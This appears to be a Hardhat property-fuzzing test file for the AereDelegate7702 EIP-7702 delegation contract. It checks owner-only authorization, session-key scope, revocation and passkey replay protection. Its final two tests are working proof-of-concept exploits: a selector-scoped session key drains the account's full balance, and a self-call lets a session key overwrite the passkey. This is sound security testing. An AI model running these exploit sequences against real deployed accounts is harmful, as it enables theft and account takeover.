aere-contracts/test/delegate7702-authorization-invariant-property.test.js
Aere Network a13a649b77
Some checks are pending
contracts-ci / Install (lockfile) → compile → full test suite (push) Waiting to run
contracts-ci / PQC known-answer tests (NIST vectors) (push) Waiting to run
contracts-ci / Coverage (scoped, with artifacts) (push) Waiting to run
Initial public release
Aere Network public source. Everything here can be checked against the live
chain (chain id 2800, https://rpc.aere.network).

Scope note, stated up front rather than buried: consensus on chain 2800 is
classical secp256k1 ECDSA QBFT. The post-quantum work in this repository is at
the signature, precompile, account and transport layers. Nothing here makes the
consensus post-quantum, and no document in it should be read as claiming so.
2026-07-20 01:02:37 +03:00

599 lines
33 KiB
JavaScript

// =============================================================================
// SEEDED RANDOMIZED PROPERTY / STATEFUL-INVARIANT fuzzing for the LIVE
// AereDelegate7702 EIP-7702 delegation target.
//
// Source under test (matched to the live address in sdk-js/src/addresses.ts):
// contracts/delegation/AereDelegate7702.sol -> 0x5673D92080efbd0987402E9335c14200d0a5EaeF
//
// EIP-7702 makes the delegating EOA's address == address(this). The contract's
// owner gate is `onlyOwner: msg.sender == address(this)`. Hardhat's local chain
// does not execute a real 7702 authorization tuple, so we reproduce the exact
// owner-call semantics by IMPERSONATING the deployed delegate's OWN address and
// sending owner transactions FROM it (ethers.getImpersonatedSigner) -> then
// msg.sender == address(this) genuinely, exercising the real onlyOwner path.
// Every other signer models a third party / a granted session key / an attacker.
//
// The passkey (RIP-7951 P256Verify at 0x100) is not present on hardhat, so the
// anti-replay / challenge-binding logic is driven with a stub precompile
// installed via hardhat_setCode (a "always-accept" 32-byte 0x..01 return and an
// "always-reject" 0x..00 return). This isolates the nonce/challenge state
// machine from the (real, on-chain) P-256 cryptography, which is what the
// replay invariant is about.
//
// TOOLCHAIN: hardhat-based seeded randomized invariant fuzzing (NOT Foundry:
// `forge` is not installed; the repo builds through hardhat with OZ 4.9.6 +
// viaIR). Every random choice comes from mulberry32(seed); the base seed is
// printed at suite start and pinnable via FUZZ_SEED. On any break the failing
// (campaign, step, actor, action, values) is embedded in the assertion message
// for a minimal repro.
//
// SCOPE: run this file in ISOLATION (the full suite OOM/segfaults on the
// unrelated ML-DSA PQC KAT tests):
// npx hardhat test test/delegate7702-authorization-invariant-property.test.js
// No deploy to any live node, no contract-logic change, one new test file only.
//
// INVARIANTS FUZZED (exactly the brief):
// * AUTHORIZATION: a delegation (session key / passkey) can be created ONLY by
// the delegating account itself (msg.sender == address(this)); ANY third
// party calling addSessionKey / revokeSessionKey / setPasskey / executeBatch
// reverts NotEoaOwner. No third party can author a delegation.
// * SCOPE: a session key can act ONLY while active AND unexpired AND with a
// call whose 4-byte selector is in its granted allow-list; every other
// combination reverts. It can never act with a selector it was not granted.
// * REVOCATION: revokeSessionKey takes effect immediately -- in the very next
// call (same block) a revoked key reverts SessionKeyExpired.
// * NO REPLAY: a passkey authorization is single-use. The signed challenge
// binds address(this)+passkeyNonce+the exact Call, and passkeyNonce
// increments on success, so re-submitting the identical (Call, signature)
// reverts InvalidChallenge; a signature for Call A cannot authorize Call B.
// * NO UNAUTHORIZED FUND MOVEMENT: an actor holding neither the owner identity
// nor an active in-scope session key nor a valid passkey cannot move ANY of
// the account's native balance.
//
// A real invariant violation is a valuable result: the two FINDING tests at the
// bottom are deterministic minimal repros, not papered over. They demonstrate a
// scope-granularity weakness (see comments there) honestly, without altering the
// contract.
//
// No em-dashes anywhere in this file.
// =============================================================================
const { expect } = require("chai");
const { ethers, network } = require("hardhat");
const { time } = require("@nomicfoundation/hardhat-network-helpers");
/* ------------------------------- seeded PRNG ------------------------------ */
function mulberry32(a) {
return function () {
a |= 0;
a = (a + 0x6d2b79f5) | 0;
let t = Math.imul(a ^ (a >>> 15), 1 | a);
t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
};
}
const BASE_SEED = process.env.FUZZ_SEED ? Number(process.env.FUZZ_SEED) : 0xDE1E7702;
function rngFor(tag, campaign) {
let h = BASE_SEED ^ (campaign * 0x9e3779b1);
for (let i = 0; i < tag.length; i++) h = (Math.imul(h, 31) + tag.charCodeAt(i)) | 0;
return mulberry32(h >>> 0);
}
const ri = (rng, min, max) => min + Math.floor(rng() * (max - min + 1)); // inclusive
const pick = (rng, arr) => arr[Math.floor(rng() * arr.length)];
const chance = (rng, p) => rng() < p;
/* ------------------------------- misc helpers ----------------------------- */
const E = (n) => ethers.parseEther(String(n));
const P256_VERIFY = "0x0000000000000000000000000000000000000100";
// Stub precompile runtimes: return one 32-byte word. Accept -> 0x..01, reject -> 0x..00.
const STUB_ACCEPT = "0x600160005260206000f3"; // PUSH1 1; MSTORE; RETURN 32 bytes -> 0x..01
const STUB_REJECT = "0x600060005260206000f3"; // PUSH1 0; MSTORE; RETURN 32 bytes -> 0x..00
// Universal payable sink: runtime is a single STOP (0x00) -> any call with any
// data and any value succeeds and keeps the value. Deployed from raw init code.
const SINK_INIT = "0x60016000f3"; // return 1 byte (mem[0]==0x00) -> runtime = STOP
async function setBal(addr, amountWei) {
await network.provider.send("hardhat_setBalance", [addr, "0x" + amountWei.toString(16)]);
}
async function latestTs() {
return Number((await ethers.provider.getBlock("latest")).timestamp);
}
async function deployRaw(deployer, initCode) {
const tx = await deployer.sendTransaction({ data: initCode });
const rc = await tx.wait();
return rc.contractAddress;
}
function randSelector(rng) {
let s = "0x";
for (let i = 0; i < 4; i++) s += ("0" + ri(rng, 0, 255).toString(16)).slice(-2);
return s;
}
// callItem.data = selector (4 bytes) + `padWords` * 32 zero bytes.
function dataFor(selector, padWords) {
return selector + "00".repeat(padWords * 32);
}
// Iteration counts (env-overridable so a quick smoke can shrink them).
const N = {
CAMPAIGNS: Number(process.env.D7_CAMPAIGNS || 5),
STEPS: Number(process.env.D7_STEPS || 90),
};
// The delegate's OWN privileged 4-byte selectors (computed, cross-checked below).
let OWNER_SELECTORS;
// =============================================================================
describe("INVARIANT: AereDelegate7702 (EIP-7702 delegation authorization + scope)", function () {
this.timeout(0);
let signers, delegateF;
before(async function () {
signers = await ethers.getSigners();
delegateF = await ethers.getContractFactory("AereDelegate7702");
OWNER_SELECTORS = {
executeBatch: delegateF.interface.getFunction("executeBatch").selector,
addSessionKey: delegateF.interface.getFunction("addSessionKey").selector,
revokeSessionKey: delegateF.interface.getFunction("revokeSessionKey").selector,
setPasskey: delegateF.interface.getFunction("setPasskey").selector,
};
console.log(
` [d7702] base seed 0x${BASE_SEED.toString(16)} | ${N.CAMPAIGNS}x${N.STEPS} authorization/scope`
);
});
// Deploy a fresh delegate, impersonate its OWN address (the 7702 owner), fund
// it richly, and deploy a universal payable sink. Returns handles.
async function stand(deployer) {
const delegate = await delegateF.deploy();
await delegate.waitForDeployment();
const delegateAddr = await delegate.getAddress();
// The 7702 "owner": send from address(this). Impersonate + fund for gas AND
// for the native value the account moves during authorized flows.
const owner = await ethers.getImpersonatedSigner(delegateAddr);
await setBal(delegateAddr, E(1_000_000));
const sink = await deployRaw(deployer, SINK_INIT);
return { delegate, delegateAddr, owner, sink };
}
// ---- predict executeWithSessionKey outcome from the JS shadow model, in the
// EXACT branch order the contract checks. Returns null on success or the
// custom-error name on the expected revert. ----
function predictSessionKeyOutcome(model, key, now, data) {
const sk = model.get(key);
const active = !!(sk && sk.active);
const expiry = sk ? sk.expiry : 0;
if (!active || expiry < now) return "SessionKeyExpired";
const bytes = (data.length - 2) / 2;
if (bytes < 4) return "SelectorNotAllowed";
const selector = data.slice(0, 10).toLowerCase();
if (!sk.selectors.has(selector)) return "SelectorNotAllowed";
return null; // success
}
// ---- full invariant battery over the shadow model vs on-chain state ----
async function assertModel(ctx, delegate, model, actorKeys, probeSelectors) {
// sessionKeyInfo(key, selector) must equal the shadow model for every known
// key across a set of probe selectors (granted + not-granted).
for (const key of actorKeys) {
const sk = model.get(key) || { active: false, expiry: 0, selectors: new Set() };
for (const sel of probeSelectors) {
const info = await delegate.sessionKeyInfo(key, sel);
expect(info.active, `[d7702 SK-ACTIVE] ${ctx} key=${key.slice(0, 10)}`).to.equal(sk.active);
expect(Number(info.expiry), `[d7702 SK-EXPIRY] ${ctx} key=${key.slice(0, 10)}`).to.equal(sk.expiry);
expect(info.selectorAllowed, `[d7702 SK-SEL] ${ctx} key=${key.slice(0, 10)} sel=${sel}`)
.to.equal(sk.selectors.has(sel.toLowerCase()));
}
}
}
// =========================================================================
// MAIN BATTERY: authorization (owner-only), scope, revocation, and
// no-unauthorized-fund-movement, driven by long randomized multi-actor runs.
// =========================================================================
it("owner-only authorization + session-key scope + immediate revocation + fund safety", async function () {
let steps = 0;
const cnt = {
ownerAdd: 0, ownerRevoke: 0, ownerBatch: 0,
skOk: 0, skReject: 0,
thirdPartyDenied: 0, attackerFundDenied: 0,
revokeImmediate: 0, expireChecks: 0,
};
for (let c = 0; c < N.CAMPAIGNS; c++) {
const rng = rngFor("auth", c);
const deployer = signers[0];
const { delegate, delegateAddr, owner, sink } = await stand(deployer);
// Candidate session-key identities + third parties + a dedicated attacker.
const keyPool = [signers[1], signers[2], signers[3], signers[4]].map((s) => s.address);
const keySigners = { [signers[1].address]: signers[1], [signers[2].address]: signers[2], [signers[3].address]: signers[3], [signers[4].address]: signers[4] };
const thirdParties = [signers[5], signers[6], signers[7]];
const attacker = signers[8];
// A palette of "known" selectors used across grants + probes, plus the
// delegate's own privileged selectors (so probes cover the escalation
// surface too). None of these are granted unless an owner grants them.
const palette = [];
for (let i = 0; i < 6; i++) palette.push(randSelector(rng));
const probeSelectors = [...palette, OWNER_SELECTORS.executeBatch, OWNER_SELECTORS.addSessionKey, "0xa9059cbb"];
// shadow model: key -> { active, expiry, selectors:Set<selectorHexLower> }
const model = new Map();
let sinkExpected = 0n; // native value the account has intentionally paid to `sink`
await assertModel(`c${c} init`, delegate, model, keyPool, probeSelectors);
for (let s = 0; s < N.STEPS; s++) {
const action = pick(rng, [
"ownerAdd", "ownerAdd", "ownerRevoke", "ownerBatch",
"sessionCall", "sessionCall", "sessionCall",
"thirdPartyOwnerCall", "thirdPartyOwnerCall",
"attackerFundGrab", "advance", "reAddExtend",
]);
const now = await latestTs();
const ctx = `c${c} s${s} action=${action}`;
if (action === "ownerAdd") {
// Owner (address(this)) grants a session key: authorized delegation.
const key = pick(rng, keyPool);
const inFuture = chance(rng, 0.8);
const expiry = inFuture ? now + ri(rng, 3600, 30 * 24 * 3600) : now - ri(rng, 100, 10000);
const grant = [];
const gCount = ri(rng, 1, 3);
for (let g = 0; g < gCount; g++) grant.push(pick(rng, palette));
await (await delegate.connect(owner).addSessionKey(key, expiry, grant)).wait();
// model: expiry+active overwritten; selectors accumulate (contract only sets true).
const sk = model.get(key) || { active: false, expiry: 0, selectors: new Set() };
sk.active = true;
sk.expiry = expiry;
for (const gsel of grant) sk.selectors.add(gsel.toLowerCase());
model.set(key, sk);
cnt.ownerAdd++;
} else if (action === "reAddExtend") {
// Re-grant an existing key with new selectors: still owner-authorized,
// selectors accumulate, expiry refreshes.
const existing = [...model.keys()];
if (existing.length === 0) { steps++; continue; }
const key = pick(rng, existing);
const expiry = now + ri(rng, 3600, 30 * 24 * 3600);
const grant = [pick(rng, palette), pick(rng, palette)];
await (await delegate.connect(owner).addSessionKey(key, expiry, grant)).wait();
const sk = model.get(key);
sk.active = true;
sk.expiry = expiry;
for (const gsel of grant) sk.selectors.add(gsel.toLowerCase());
cnt.ownerAdd++;
} else if (action === "ownerRevoke") {
const existing = [...model.keys()];
if (existing.length === 0) { steps++; continue; }
const key = pick(rng, existing);
await (await delegate.connect(owner).revokeSessionKey(key)).wait();
const sk = model.get(key);
sk.active = false; // expiry + selectors retained by contract, only active flips
cnt.ownerRevoke++;
// REVOCATION IS IMMEDIATE: right now, in the next call, the revoked key
// must be unable to act, even on a selector it still "has" and even if
// unexpired.
const someSel = sk.selectors.size ? [...sk.selectors][0] : palette[0];
const ks = keySigners[key];
await expect(
delegate.connect(ks).executeWithSessionKey({ target: sink, value: 0n, data: dataFor(someSel, 1) }),
`[d7702 REVOKE-IMMEDIATE] revoked key still acted ${ctx} key=${key.slice(0, 10)}`
).to.be.revertedWithCustomError(delegate, "SessionKeyExpired");
cnt.revokeImmediate++;
} else if (action === "ownerBatch") {
// Authorized native-value movement by the owner via executeBatch.
const val = E(ri(rng, 1, 50));
const sinkBefore = await ethers.provider.getBalance(sink);
await (await delegate.connect(owner).executeBatch([{ target: sink, value: val, data: "0x" }])).wait();
const sinkAfter = await ethers.provider.getBalance(sink);
expect(sinkAfter - sinkBefore, `[d7702 OWNER-BATCH] value mismatch ${ctx}`).to.equal(val);
sinkExpected += val;
cnt.ownerBatch++;
} else if (action === "sessionCall") {
// A session key (or a random pool identity) attempts to act. Outcome
// must EXACTLY match the contract's active/expiry/selector gate.
const key = pick(rng, keyPool);
const ks = keySigners[key];
const useGranted = chance(rng, 0.6);
const sk = model.get(key);
let sel;
if (useGranted && sk && sk.selectors.size) sel = [...sk.selectors][ri(rng, 0, sk.selectors.size - 1)];
else sel = pick(rng, palette);
let data;
if (chance(rng, 0.12)) {
// sub-4-byte data (0..3 bytes) -> SelectorNotAllowed via the length gate.
const nb = ri(rng, 0, 3);
data = "0x" + sel.slice(2, 2 + nb * 2); // valid even-length hex
} else {
data = dataFor(sel, ri(rng, 1, 2));
}
const value = chance(rng, 0.5) ? E(ri(rng, 1, 10)) : 0n;
const predicted = predictSessionKeyOutcome(model, key, now, data);
const sinkBefore = await ethers.provider.getBalance(sink);
if (predicted === null) {
await (await delegate.connect(ks).executeWithSessionKey({ target: sink, value, data })).wait();
const sinkAfter = await ethers.provider.getBalance(sink);
expect(sinkAfter - sinkBefore, `[d7702 SK-VALUE] in-scope call moved wrong value ${ctx}`).to.equal(value);
sinkExpected += value;
cnt.skOk++;
} else {
await expect(
delegate.connect(ks).executeWithSessionKey({ target: sink, value, data }),
`[d7702 SK-GATE] expected ${predicted} ${ctx} key=${key.slice(0, 10)} data=${data}`
).to.be.revertedWithCustomError(delegate, predicted);
const sinkAfter = await ethers.provider.getBalance(sink);
expect(sinkAfter - sinkBefore, `[d7702 SK-REJECT-NOMOVE] rejected call still moved value ${ctx}`).to.equal(0n);
cnt.skReject++;
}
} else if (action === "thirdPartyOwnerCall") {
// AUTHORIZATION: NO third party can author a delegation or batch.
const tp = pick(rng, thirdParties);
const which = pick(rng, ["add", "revoke", "setPasskey", "batch"]);
const key = pick(rng, keyPool);
let call;
if (which === "add") call = delegate.connect(tp).addSessionKey(key, now + 100000, [pick(rng, palette)]);
else if (which === "revoke") call = delegate.connect(tp).revokeSessionKey(key);
else if (which === "setPasskey") call = delegate.connect(tp).setPasskey(ethers.hexlify(ethers.randomBytes(32)), ethers.hexlify(ethers.randomBytes(32)));
else call = delegate.connect(tp).executeBatch([{ target: sink, value: E(1), data: "0x" }]);
await expect(
call,
`[d7702 AUTH-3P] third party authored/executed as owner ${ctx} which=${which} tp=${tp.address.slice(0, 10)}`
).to.be.revertedWithCustomError(delegate, "NotEoaOwner");
cnt.thirdPartyDenied++;
} else if (action === "attackerFundGrab") {
// NO UNAUTHORIZED FUND MOVEMENT: an actor with no owner identity, no
// session key, and no passkey cannot move ANY native balance by ANY
// of the fund-moving entrypoints.
const balBefore = await ethers.provider.getBalance(delegateAddr);
const sinkBefore = await ethers.provider.getBalance(sink);
// executeBatch -> NotEoaOwner
await expect(delegate.connect(attacker).executeBatch([{ target: attacker.address, value: E(100), data: "0x" }]),
`[d7702 FUND-BATCH] attacker drained via executeBatch ${ctx}`).to.be.reverted;
// executeWithSessionKey with no key -> SessionKeyExpired
await expect(delegate.connect(attacker).executeWithSessionKey({ target: attacker.address, value: E(100), data: dataFor(pick(rng, palette), 1) }),
`[d7702 FUND-SK] attacker drained via session key it never held ${ctx}`).to.be.revertedWithCustomError(delegate, "SessionKeyExpired");
// executeWithPasskey with no passkey configured (fresh delegate) OR bogus -> reverts, no movement
await expect(delegate.connect(attacker).executeWithPasskey(
{ target: attacker.address, value: E(100), data: "0x" },
{ r: ethers.ZeroHash, s: ethers.ZeroHash, authenticatorData: "0x", clientDataJSON: "0x" }
), `[d7702 FUND-PK] attacker moved funds via bogus passkey ${ctx}`).to.be.reverted;
const balAfter = await ethers.provider.getBalance(delegateAddr);
const sinkAfter = await ethers.provider.getBalance(sink);
expect(balAfter, `[d7702 FUND-BAL] account balance changed under attacker pressure ${ctx}`).to.equal(balBefore);
expect(sinkAfter, `[d7702 FUND-SINK] sink balance changed under attacker pressure ${ctx}`).to.equal(sinkBefore);
cnt.attackerFundDenied++;
} else if (action === "advance") {
await time.increase(ri(rng, 1, 5 * 24 * 3600));
await network.provider.send("evm_mine");
// EXPIRY: any key whose expiry now lies in the past must be unable to
// act even though `active` is still true.
const nowT = await latestTs();
for (const [key, sk] of model.entries()) {
if (sk.active && sk.expiry < nowT && sk.selectors.size) {
const ks = keySigners[key];
await expect(
delegate.connect(ks).executeWithSessionKey({ target: sink, value: 0n, data: dataFor([...sk.selectors][0], 1) }),
`[d7702 EXPIRE] expired key still acted ${ctx} key=${key.slice(0, 10)} expiry=${sk.expiry} now=${nowT}`
).to.be.revertedWithCustomError(delegate, "SessionKeyExpired");
cnt.expireChecks++;
}
}
}
await assertModel(ctx, delegate, model, keyPool, probeSelectors);
// FUND CONSERVATION on the intended path: everything the account paid to
// `sink` equals exactly the sum of authorized owner-batch + in-scope
// session-key values. No unauthorized inflow ever reached the sink.
expect(await ethers.provider.getBalance(sink), `[d7702 SINK-CONSERVE] ${ctx}`).to.equal(sinkExpected);
steps++;
}
}
console.log(
` [d7702 auth] steps=${steps} ownerAdd=${cnt.ownerAdd} ownerRevoke=${cnt.ownerRevoke} ownerBatch=${cnt.ownerBatch} ` +
`skOk=${cnt.skOk} skReject=${cnt.skReject} 3pDenied=${cnt.thirdPartyDenied} attackerDenied=${cnt.attackerFundDenied} ` +
`revokeImmediate=${cnt.revokeImmediate} expireChecks=${cnt.expireChecks}`
);
const totalSteps = N.CAMPAIGNS * N.STEPS;
expect(steps).to.equal(totalSteps);
expect(cnt.ownerAdd).to.be.greaterThan(totalSteps * 0.05);
expect(cnt.skOk).to.be.greaterThan(5);
expect(cnt.skReject).to.be.greaterThan(5);
expect(cnt.thirdPartyDenied).to.be.greaterThan(totalSteps * 0.05);
expect(cnt.attackerFundDenied).to.be.greaterThan(3);
expect(cnt.revokeImmediate).to.be.greaterThan(0);
});
// =========================================================================
// NO REPLAY of a passkey authorization. Driven with a stub P256Verify at
// 0x100 so we exercise the nonce/challenge state machine (the real P-256
// math is a separate on-chain concern). Randomized over multiple seeds.
// =========================================================================
it("passkey authorization is single-use: challenge binds nonce+call, no replay, no cross-call reuse", async function () {
let replays = 0, crossCall = 0, wrongChallenge = 0, successes = 0;
// base64url (no padding) of a 32-byte 0x-hex value, matching the contract's
// _b64url32 (standard base64url of the 32 bytes).
const chalB64 = (hex32) => Buffer.from(hex32.slice(2), "hex").toString("base64url");
const clientData = (b64) => "0x" + Buffer.from(`{"type":"webauthn.get","challenge":"${b64}","origin":"https://aere.network"}`, "utf8").toString("hex");
for (let c = 0; c < 3; c++) {
const rng = rngFor("passkey", c);
const deployer = signers[0];
const { delegate, owner, sink } = await stand(deployer);
// Install the ALWAYS-ACCEPT stub so a well-formed challenge reaches success.
await network.provider.send("hardhat_setCode", [P256_VERIFY, STUB_ACCEPT]);
// Owner configures the single passkey (authorization by owner only).
const pubX = ethers.hexlify(ethers.randomBytes(32));
const pubY = ethers.hexlify(ethers.randomBytes(32));
await (await delegate.connect(owner).setPasskey(pubX, pubY)).wait();
for (let s = 0; s < 8; s++) {
const value = chance(rng, 0.5) ? E(ri(rng, 1, 20)) : 0n;
const callA = { target: sink, value, data: "0x" + "ab".repeat(ri(rng, 0, 8)) };
// Correct challenge for the CURRENT nonce binds this exact call.
const expected = await delegate.nextPasskeyChallenge(callA);
const sigOk = { r: ethers.hexlify(ethers.randomBytes(32)), s: ethers.hexlify(ethers.randomBytes(32)), authenticatorData: "0x" + "11".repeat(37), clientDataJSON: clientData(chalB64(expected)) };
// (a) WRONG challenge (base64url of an unrelated value) -> InvalidChallenge,
// even though the stub would accept the signature.
const bogus = ethers.hexlify(ethers.randomBytes(32));
const sigBad = { ...sigOk, clientDataJSON: clientData(chalB64(bogus)) };
await expect(
delegate.connect(signers[9]).executeWithPasskey(callA, sigBad),
`[d7702 PK-CHAL] wrong-challenge signature accepted c${c} s${s}`
).to.be.revertedWithCustomError(delegate, "InvalidChallenge");
wrongChallenge++;
// (b) A signature bound to callA cannot authorize a DIFFERENT call callB.
const callB = { target: sink, value: value + 1n, data: callA.data };
await expect(
delegate.connect(signers[9]).executeWithPasskey(callB, sigOk),
`[d7702 PK-XCALL] signature reused across a different call c${c} s${s}`
).to.be.revertedWithCustomError(delegate, "InvalidChallenge");
crossCall++;
// (c) Correct challenge -> success; nonce increments by exactly 1.
const nonceBefore = await delegate.passkeyNonce();
const sinkBefore = await ethers.provider.getBalance(sink);
await (await delegate.connect(signers[9]).executeWithPasskey(callA, sigOk)).wait();
const nonceAfter = await delegate.passkeyNonce();
expect(nonceAfter - nonceBefore, `[d7702 PK-NONCE] nonce did not advance by 1 c${c} s${s}`).to.equal(1n);
expect((await ethers.provider.getBalance(sink)) - sinkBefore, `[d7702 PK-VALUE] c${c} s${s}`).to.equal(value);
successes++;
// (d) REPLAY the identical (callA, sigOk): the challenge now targets the
// advanced nonce, so the stale clientDataJSON no longer binds ->
// InvalidChallenge. The single-use property holds.
await expect(
delegate.connect(signers[9]).executeWithPasskey(callA, sigOk),
`[d7702 PK-REPLAY] identical passkey authorization replayed c${c} s${s}`
).to.be.revertedWithCustomError(delegate, "InvalidChallenge");
replays++;
}
// Restore: clear the stub so we do not leak a fake precompile across files.
await network.provider.send("hardhat_setCode", [P256_VERIFY, "0x"]);
}
console.log(` [d7702 passkey] successes=${successes} replaysBlocked=${replays} crossCallBlocked=${crossCall} wrongChalBlocked=${wrongChallenge}`);
expect(successes).to.be.greaterThan(15);
expect(replays).to.equal(successes);
expect(crossCall).to.equal(successes);
});
// =========================================================================
// FINDING 1 (session-key scope granularity): a session key is bound ONLY by a
// 4-byte selector allow-list. There is NO target allow-list and NO value /
// allowance cap. So a key provisioned for the documented "narrow scope (e.g.
// swap router only) ... low-risk operations" can instead move the account's
// ENTIRE native balance to an ARBITRARY attacker-controlled address, merely by
// pointing `target` at any contract that exposes a function with the granted
// selector (trivial for an attacker to craft) and setting `value` to the whole
// balance. This exceeds the intended granted scope ("cannot exceed / escalate")
// even though it stays inside the contract's coarse selector-only gate.
// Deterministic minimal repro, contract unchanged.
// =========================================================================
it("FINDING (scope): a selector-scoped session key can drain the account's entire native balance to an arbitrary address", async function () {
const deployer = signers[0];
const { delegate, delegateAddr, owner, sink } = await stand(deployer);
const sessionKey = signers[1]; // a low-risk dApp session key
const attackerSink = sink; // stands in for "any contract exposing selector S"
// Owner grants the session key ONE ordinary selector (imagine a swap router's
// `swap(...)` selector). No value cap, no target binding is expressible.
const grantedSelector = "0x12345678";
const farExpiry = (await latestTs()) + 365 * 24 * 3600;
await (await delegate.connect(owner).addSessionKey(sessionKey.address, farExpiry, [grantedSelector])).wait();
// Read the account's balance AFTER owner setup (the impersonated owner IS the
// account, so its own txs pay gas from this balance). This is the user's money.
const accountBal = await ethers.provider.getBalance(delegateAddr);
// The key sends the account's ENTIRE balance to an arbitrary address, by
// pointing target at a contract that "answers" the granted selector (here the
// universal sink; an attacker deploys a one-line contract with that selector).
const attackerBefore = await ethers.provider.getBalance(attackerSink);
await (await delegate.connect(sessionKey).executeWithSessionKey({
target: attackerSink,
value: accountBal, // the whole account
data: dataFor(grantedSelector, 1),
})).wait();
const stolen = (await ethers.provider.getBalance(attackerSink)) - attackerBefore;
expect(stolen, "[FINDING scope] full-balance drain did not occur").to.equal(accountBal);
expect(await ethers.provider.getBalance(delegateAddr), "[FINDING scope] account not emptied").to.equal(0n);
console.log(` [d7702 FINDING scope] session key drained ${ethers.formatEther(stolen)} AERE to an arbitrary address via a single granted selector (no value cap, no target allow-list)`);
});
// =========================================================================
// FINDING 2 (privilege escalation via self-call): `onlyOwner` is
// `msg.sender == address(this)`, and executeWithSessionKey makes its outbound
// call with msg.sender == address(this). So if a session key is ever granted a
// selector that COINCIDES with one of the delegate's own privileged selectors
// (a 4-byte space; a real dApp function selector can collide, or an operator
// can grant it by mistake), the key can target the account ITSELF and invoke an
// owner-only function -> escalation to that owner power. We demonstrate the
// clean, working vector: setPasskey (which is onlyOwner but NOT nonReentrant),
// letting a mere session key OVERWRITE the account's passkey with an attacker-
// controlled key -> a persistent takeover of the passkey auth path.
//
// HONEST BOUNDARY (asserted below too): the same trick aimed at executeBatch is
// instead blocked, because executeWithSessionKey and executeBatch SHARE the
// nonReentrant `_entered` flag, so the self-call reverts Reentrant(). The
// escalation therefore reaches the NON-reentrancy-guarded owner functions
// (setPasskey / addSessionKey / revokeSessionKey), not executeBatch.
// Deterministic repro, contract unchanged.
// =========================================================================
it("FINDING (escalation): a session key granted setPasskey's selector overwrites the account passkey; the executeBatch vector is blocked by the shared reentrancy guard", async function () {
const deployer = signers[0];
const { delegate, delegateAddr, owner } = await stand(deployer);
const sessionKey = signers[2];
const farExpiry = (await latestTs()) + 365 * 24 * 3600;
// (A) WORKING escalation via setPasskey (onlyOwner, not nonReentrant).
const setPkSelector = OWNER_SELECTORS.setPasskey; // 0xab0f91b1
await (await delegate.connect(owner).addSessionKey(sessionKey.address, farExpiry, [setPkSelector])).wait();
// Account passkey starts unset.
expect(await delegate.passkeyPubX()).to.equal(ethers.ZeroHash);
const attackerX = ethers.hexlify(ethers.randomBytes(32));
const attackerY = ethers.hexlify(ethers.randomBytes(32));
const innerSetPk = delegate.interface.encodeFunctionData("setPasskey", [attackerX, attackerY]);
expect(innerSetPk.slice(0, 10).toLowerCase(), "selector mismatch").to.equal(setPkSelector.toLowerCase());
// The session key calls executeWithSessionKey(target=self, data=setPasskey).
// Inner msg.sender == address(this) -> onlyOwner passes -> passkey overwritten.
await (await delegate.connect(sessionKey).executeWithSessionKey({
target: delegateAddr,
value: 0n,
data: innerSetPk,
})).wait();
expect(await delegate.passkeyPubX(), "[FINDING escalation] passkey X not overwritten by session key").to.equal(attackerX);
expect(await delegate.passkeyPubY(), "[FINDING escalation] passkey Y not overwritten by session key").to.equal(attackerY);
// (B) HONEST BOUNDARY: the executeBatch vector is blocked by nonReentrant.
const escalBatch = OWNER_SELECTORS.executeBatch; // 0x34fcd5be
await (await delegate.connect(owner).addSessionKey(sessionKey.address, farExpiry, [escalBatch])).wait();
const innerBatch = delegate.interface.encodeFunctionData("executeBatch", [
[{ target: sessionKey.address, value: E(1), data: "0x" }],
]);
await expect(
delegate.connect(sessionKey).executeWithSessionKey({ target: delegateAddr, value: 0n, data: innerBatch }),
"[FINDING escalation] executeBatch self-call was NOT blocked by the shared reentrancy guard"
).to.be.revertedWithCustomError(delegate, "CallFailed");
console.log(` [d7702 FINDING escalation] a session key granted setPasskey's selector overwrote the account passkey (owner-only) via a self-call; the executeBatch vector reverted Reentrant() as documented`);
});
});